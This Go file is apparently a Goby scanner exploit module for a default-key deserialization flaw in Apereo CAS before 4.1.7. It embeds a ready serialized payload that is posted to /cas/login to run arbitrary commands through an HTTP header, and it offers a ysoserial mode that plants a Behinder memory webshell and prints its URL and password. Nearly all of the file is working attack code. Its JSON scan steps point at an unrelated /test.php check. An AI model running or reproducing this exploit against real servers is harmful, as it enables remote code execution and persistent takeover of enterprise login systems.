package exploits

import (
	"encoding/base64"
	"fmt"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Apereo CAS Before 4.1.7 Deserialization Vulnerability",
    "Description": "<p>Apereo CAS is a centralized authentication service platform released by Aperio, which is often used in enterprise internal single sign on systems.</p><p>Before 4.1.7, there was a problem with the default key. Using this default key, we can construct malicious information to trigger a target deserialization vulnerability. Attackers can execute commands on the server, break into memory horses, etc., and obtain server permissions.</p>",
    "Product": "apereo-CAS",
    "Homepage": "https://www.apereo.org/projects/cas",
    "DisclosureDate": "2023-01-09",
    "Author": "su18@javaweb.org",
    "FofaQuery": "title=\"Central Authentication Service\"",
    "GobyQuery": "title=\"Central Authentication Service\"",
    "Level": "3",
    "Impact": "<p>Before 4.1.7, there was a problem with the default key. Using this default key, we can construct malicious information to trigger a target deserialization vulnerability. Attackers can execute commands on the server, break into memory horses, etc., and obtain server permissions.</p>",
    "Recommendation": "<p>The vulnerability has been officially fixed. Please upgrade the system to fix the vulnerability. <a href=\"https://www.apereo.org/projects/cas\">https://www.apereo.org/projects/cas</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsCollections4",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromThread",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "Yso_options",
            "type": "input",
            "value": "-et",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Code Execution"
    ],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        ""
    ],
    "CNNVD": [
        ""
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "Apereo CAS 小于 4.1.7 版本反序列化漏洞",
            "Product": "apereo-CAS",
            "Description": "<p>Apereo CAS 是一款 Apereo 发布的集中认证服务平台，常被用于企业内部单点登录系统。<br></p><p>在其4.1.7版本之前存在一处默认密钥的问题，利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞，攻击者可以在服务器上执行命令、打入内存马等，获取服务器权限。</p>",
            "Recommendation": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">官方已修复该漏洞，请用户升级该系统修复漏洞。<a href=\"https://www.apereo.org/projects/cas\" target=\"_blank\">https://www.apereo.org/projects/cas</a></span><br></p>",
            "Impact": "<p><span style=\"color: rgb(22, 28, 37); font-size: 16px;\">在其4.1.7版本之前存在一处默认密钥的问题，利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞，攻击者可以在服务器上执行命令、打入内存马等，获取服务器权限。</span><br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": [
                "代码执行"
            ]
        },
        "EN": {
            "Name": "Apereo CAS Before 4.1.7 Deserialization Vulnerability",
            "Product": "apereo-CAS",
            "Description": "<p><span style=\"color: rgb(0, 0, 0);\">Apereo CAS is a centralized authentication service platform released by Aperio, which is often used in enterprise internal single sign on systems.<br></span></p><p><span style=\"color: rgb(0, 0, 0);\">Before 4.1.7, there was a problem with the default key. Using this default key, we can construct malicious information to trigger a target deserialization vulnerability. Attackers can execute commands on the server, break into memory horses, etc., and obtain server permissions.</span></p>",
            "Recommendation": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">The vulnerability has been officially fixed. Please upgrade the system to fix the vulnerability.&nbsp;</span><a href=\"https://www.apereo.org/projects/cas\" target=\"_blank\">https://www.apereo.org/projects/cas</a><br></p>",
            "Impact": "<p><span style=\"color: rgb(0, 0, 0); font-size: 16px;\">Before 4.1.7, there was a problem with the default key. Using this default key, we can construct malicious information to trigger a target deserialization vulnerability. Attackers can execute commands on the server, break into memory horses, etc., and obtain server permissions.</span><br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": [
                "Code Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	exploitApereoCAS9234728461 := func(u *httpclient.FixUrl, payload string, cmd string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/cas/login")
		cfg.VerifyTls = false
		cfg.FollowRedirect = false
		cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")
		cfg.Header.Store("Referer", u.FixedHostInfo+"/cas/login")

		if cmd != "" {
			cfg.Header.Store("X-Token-Data", cmd)
		}

		cfg.Data = fmt.Sprintf(`username=test&password=test&lt=LT-2-gs2epe7hUYofoq0gI21Cf6WZqMiJyj-cas01.example.org&execution=%s&_eventId=submit&submit=LOGIN`, url.QueryEscape(payload))
		return httpclient.DoHttpRequest(u, cfg)
	}

	echoPayload := "edd837c5-e8e0-42b8-90b7-b53469e60ce4_AAAAIgAAABDfLym5lTBT7aB7KlUymrXKAAAABmFlczEyOCHBU6jy/PlkcoCVq1oj3I1kNK34y6q21wqVlpqQBw/GX/UfbuUJ8oEFF9F8evKK8NfnhjNLZyc8mS6++r+ijITRN1VqY6vyzdcfn7UkLo0csqTxTFl6p7jQNqBfUL9TQnLVzlymg/uD46+EKLWkh3FUpFwE7Enmpg0j9JJtwdcBQ8UJpxeJ5mvVLsebPa1S2lKSutwaVpGvCBvkr27mgCjcSC5dCk94fII0XNC0NKCsDvTcVhUmxQ3PEFZOHmM+QL9oeD9DN83C6E1qyGeX+jpZFx3kEEyLrwbvzrmY0GECf3+UqAyqjqSZ6FmXhS7IVbqx+PoojD6+zFBgevfMdt5jGuycmO+fwsFDbW75gdxnVdk0s20kL9V6tKDWORtllSsmORrzbgg7jY+PZATaobVAc4aAjLUV7DK+T0pcOVpzWnLL2IZN0HdXSChZB3/g5wu4LVyQYweCAjISy2t8x6ZFOCVboqy5VPC0W+GExrJj7zpXWkwZriUNcp390KXhRUonc9Etu+tAS5kjF2L1FEdV6MHQ4koazZaoICnqyB/AFeBbcd3vIUjI/ZITsF26Xr8mYhTpHhwi3zYmz7sQBDmCqrOqyUZllxMmx+QUd97GeFwh5j1+4cVX4EnHeQoanUgrZspWC2x5J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4wZyEPpZQZV84j/GfmOT+RrTs0JQ7UFrEUx4hjJ1sjwKVPEY9FTawsmsa8gIG5ntSg7nI1WsJ1yQ1LeJycU2yiDOfCO7pcFnptsiNDML1jnqMmYbCQqMNd4MvyKag0gwdGda/lNtafp6VAWZ79tgXwuE13ogS8TCjnWh7lPniFIh5ZwXa5mqi/qFxEw7LZM70d7MdJVzm7gz5M/v/WzFwfgi4boEV03s/njL+9WNV5Z5qLEfHm/cUeLZPDK35zBLzai1sZT11lOi4URZ77e3+c26KxQd+6ZbK1RlxiLbocdbRPmuwOLMMV8Vgp+SttJamDc8x64YJED5pGpcRagGNpGG2gcVOm3V1qOd0Ybb00lcOP9LVPx/c8frFwri8YjVaOnK/EcNkDFeIn3m3+G3VjWcPwCNv3yHiN7yadygmtJx1lfpjmI2Cd/Wc3rqQSgBUgSDsOW3J6J4ZxZwr/wBotso4Cc4dedJdstwAgo5AeO6lz6qq+M9l9fQuDPz236TsVGxkgbKqEx8EgC5n+CRRkLwvWqLQxIxP9t4C3841pew9qaYebMh/sqjOymQoxlawT13UQO3kMvDJ6X6QoNSYMPk2wZPhKklLKHn8himeyZEqL11Ev8aNnRB5w+roTL7PnT7sLr047ZhtdQHIGEIzg1pxambYapXEoqxiM52wYJVg3U9TBM1VzfS+RhYbIuf/0MaX1gY/vX8CgQ4Hdhh7a5KJ5fb9u6GX3JGsM87sfOyc/ZtGbVZhFRnoz3xMGuXBnnyXUX9u2narxjE5vCBMVHh4SgyzOY0VVNs9/scnFunZxY/gE78Nfcl8PSMP1Ke2vY1niTCgVGT4ejxMZ/8129KbT8VSBWX"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			randStr := goutils.RandomHexString(12)
			resp, err := exploitApereoCAS9234728461(u, echoPayload, "echo "+randStr)
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {

			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				resp, err := exploitApereoCAS9234728461(expResult.HostInfo, echoPayload, cmd)
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)

				if serializedData == "" {
					serializedData, _, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				_, err := exploitApereoCAS9234728461(expResult.HostInfo, string(data), "")

				if err == nil {
					cfg := httpclient.NewGetRequestConfig("/cas/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/cas/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
